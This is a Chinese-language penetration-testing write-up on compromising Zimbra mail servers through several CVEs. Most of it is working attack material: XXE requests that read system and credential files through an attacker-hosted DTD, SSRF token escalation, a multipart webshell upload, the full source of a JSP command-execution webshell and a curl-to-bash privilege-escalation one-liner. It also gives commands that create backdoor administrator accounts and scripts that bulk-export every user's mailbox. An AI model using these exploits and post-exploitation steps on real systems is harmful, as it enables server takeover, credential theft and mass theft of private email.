本期作者/Syber
Zimbra是一家提供专业的电子邮件软件开发供应商,主要提供ZimbraDesktop邮件管理软件。另外提供一套开源协同办公套件包括WebMail,日历,通信录,Web文档管理和创作。他的最大特色在于其采用Ajax技术模仿CS桌面应用软件的风格开发的客户端兼容Firefox,Safari和IE浏览器。
可GETSHELL漏洞
CVE-2022-27925/CVE-2022-37042 路径遍历+任意文件上传
利用EXP:https://github.com/aels/CVE-2022-37042
影响的Zimbra产品版本:
ZCS < 8.8.15 patch 33
ZCS < 9.0.0 patch 26
CVE-2019-9670/CVE-2019-9621 XXE+SSRF
利用EXP:https://github.com/rek7/Zimbra-RCE.git
影响的Zimbra产品版本:
Zimbra< 7.11 版本中,攻击者可以在无需登录的情况下,实现远程代码执行。
Zimbra< 8.11 版本中,在服务端使用 Memcached 做缓存的情况下,经过登录认证后的攻击者可以实现远程代码执行。
构建环境
基于"火天网演攻防演训靶场"进行搭建,通过火天网演中的环境构建模块,可以灵活的对目标网络进行设计和配置,并且可以快速进行场景搭建和复现工作。
漏洞利用
CVE-2019-9670/CVE-2019-9621 XXE+SSRF
使用bp向目标服务器发送如下数据包,其中利用接口如下: /Autodiscover/Autodiscover.xml
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 343
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://x.x.x.x
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
验证成功,返回/etc/passwd内容
读取zimbra用户账号密码利用xxe漏洞获取zimbra的关键配置文件内容,目的是从配置文件中获取zimbra的用户名及密码信息。对应的关键配置文件为localconfig.xml。这个目标文件是一个xml文件,因此不能直接在数据包中替换,(由于localconfig.xml为XML文件,需要加上CDATA标签才能作为文本读取)需要借用外部dtd,构造的外部dtd如下:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
将该dtd命名为poc.dtd,并且在目标主机能访问到的主机开启http服务,保证在发送数据包的时候可以成功访问到目标文件,使其远程执行该dtd文件。
python3 -m http.server 80
发送如下数据包包含远程dtd文件。
POST /Autodiscover/Autodiscover.xml HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 409
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token:
Accept: */*
Origin: https://x.x.x.x
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://********/poc.dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
获取低权限token
接下来的利用接口为:https://IP:7071/service/admin/soap发送的数据包如下:
POST /service/admin/soap HTTP/1.1
Host: x.x.x.x
Connection: keep-alive
Content-Length: 463
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
X-Zimbra-Csrf-Token: 0_c76c85d9f2471cf79b6cda4eab2363d8aa41e0a3
Accept: */*
Origin: https://x.x.x.x
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: ZM_TEST=true;ZA_SKIN=serenity;
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>XXXX</password> //填写上边获取到的密码
</AuthRequest>
</soap:Body>
</soap:Envelope>
获取高权限token
ssrf可利用后,结合低权限token获取一个高权限token
将<AuthRequest xmlns="urn:zimbraAccount">改为<AuthRequest xmlns="urn:zimbraAdmin">
POST /service/proxy?target=https://x.x.x.x:7071/service/admin/soap HTTP/1.1
Host: x.x.x.x:7071
Content-Length: 465
Cookie: ZM_ADMIN_AUTH_TOKEN=x.x.x.x;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Content-Type: application/soap+xml; charset=UTF-8
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAdmin">
<account by="adminName">zimbra</account>
<password>上面获取的密码</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
利用获取到的高权限token调用文件上传接口/service/extension/clientUploader/upload,上传webshell
POST /service/extension/clientUploader/upload HTTP/1.1
Host: x.x.x.x:7071
Cookie:ZM_ADMIN_AUTH_TOKEN=xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36 Edg/110.0.1587.63
Accept: */*
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Length: 2993
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="filename1"
qweqwe
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="clientFile";filename="shell.jsp"
shell jsp 一句话
------WebKitFormBoundaryyfguo5iLr5MUuhaZ
Content-Disposition: form-data; name="requestId"
111111
------WebKitFormBoundaryyfguo5iLr5MUuhaZ--
CVE-2022-27925/CVE-2022-37042
该漏洞可以直接利用exp:
https://github.com/aels/CVE-2022-37042
该漏洞由目标穿越漏洞和任意文件上传组合完成,通过exp中shell2.zip可以看到,将formatter.jsp 木马文件直接通过文件上传,在经过目录穿越解压到web目录,实现getshell
webshell木马文件为formatter.jsp
<!-- gh/aels -->
<H1><CENTER>404 Not Found</CENTER></H1>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
String error = "";
if(cmd != null) {
String[] commandAndArgs = new String[]{ "/bin/bash", "-c", cmd };
String s = null;
Process process = Runtime.getRuntime().exec(commandAndArgs);
InputStream inputStream = process.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream));
Thread.sleep(2000);
while(process.isAlive()) Thread.sleep(100);
while((s = reader.readLine()) != null) { output += s+"n"; }
reader = new BufferedReader(new InputStreamReader(process.getErrorStream()));
while((s = reader.readLine()) != null) { error += s+"n"; }
}
%>
<FORM><INPUT name=cmd style=border:0;display:block; type=text value='<%=cmd %>'></FORM>
<pre>
<%=output %>
<%=error %>
</pre>
该webshell 使用的runtime exec命令执行,并且页面隐藏命令执行输入框,也可以直接传参数/public/formatter.jsp?cmd=id
EXP修改
使用 https://github.com/aels/CVE-2022-37042 在实战中发现
-
大量目标机器被修复漏洞,但是formatter.jsp未删除
-
替换exp中的formatter.jsp 发现上传后未生效
更换payload
将替换好jsp的压缩包,使用https://www.hexator.com/encode/upload/ 中zip转hex code
替换掉原exp中的,hex_decode中的内容
formatter.jsp利用
大量目标机器被修复漏洞,但是formatter.jsp未删除。而默认的webshell formatter.jsp无法满足需求,需要写入哥斯拉/冰蝎大马,进行更好的控制。webshell中引用的runtime函数 ,由于java中runtime exec函数执行含管道符的shell命令无效,所以可以使用https://payloads.net/Runtime.exec/进行管道符转义。
哥斯拉生成webshell,并转义,会生成超过3549个字符
而默认的webshell 参数提交方式为get,GET 方法,则限制为最多2048 个字符,直接提交会报错,将webshell分割为4段,并转为bash依次执行写入。
转义base64,每段追加写入webshell
对公开的exp分析并根据后门地址进行资产整理: 用fofa导出zimbra,并批量判断 /public/formatter.jsp 即可完成初始受控设备风险标记。
姿势利用
一键提权
拿到shell后,如有gcc环境,交换shell使用现场脚本提权(默认shell权限为 Zimbra)
curl -fskSL raw.githubusercontent.com/aels/zimbra-slapper/main/slapper.sh | bash 2>&1
位置目录
邮件存储,位置位于/opt/zimbra/store(邮件内容)
数据存储,位于/opt/zimbra/db下的MySQL数据库mysql配置:/opt/Zimbra/conf/my.cnf
索引存储,位于/opt/zimbra/index
日志文件,位于/opt/zimbra/log
自带工具
/opt/Zimbra/bin/下默认工具(可以在webshell中直接执行)
zmlocalconfig -s //查看所有配置
zmlocalconfig -s|grep zimbra_ldap_userdn //查看zimbra帐号在LDAP中的
zmlocalconfig -s|grep zimbra_mysql //查看mysql的配置信息
/opt/zimbra/bin/zmprov gaaa //列出所有管理员
/opt/zimbra/bin/zmprov -l gaa //列出所有邮箱
创建一个新的管理员账号,密码是test123:
zmprov ca testadmin@domain.com test123 zimbraIsAdminAccount TRUE
把一个已有的账号升级为管理员账号:
zmprov ma testadmin@domain.com zimbraIsAdminAccount TRUE
邮件打包
方法一
zimbra备份导出脚本
https://github.com/mrodrigom/zimbraBackup.git
导出后,使用systools MSG viewer查看
编写以用户名为一个自动化打包邮件脚本
/opt/zimbra/bin/zmprov -l gaa >/tmp/user.txt
#!/bin/bash
while read USER
do
/opt/zimbra/bin/zmmailbox -z -m $USER getRestURL "//?fmt=tgz" > /var/tmp/bak/$USER.tgz
done < /tmp/user.txt
方法二
邮件存储位置位于/opt/zimbra/store(邮件内容)
可使用打包命令 tar -zcPf bak.tar.gz /opt/zimbra/store 对当前邮件全部打包,如果遇到超大邮件服务器上百G,可以根据文件夹编号依次打包,打包后可以使用totalcommander9.5查看
方法三(无需提权)
在webshell下执行,添加新管理员命令并登录后台查看邮件
/opt/zimbra/bin/zmprov ca [email protected].com test123 zimbraIsAdminAccount TRUE #添加账户
/opt/zimbra/bin/zmprov ma [email protected].com zimbraIsAdminAccount TRUE #升级账户权限
访问https://ip:7071 登录管理员后台
在主页----管理---账户----查看邮件
原文始发于微信公众号(蛇矛实验室):Zimbra邮件服务器渗透利用总结
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论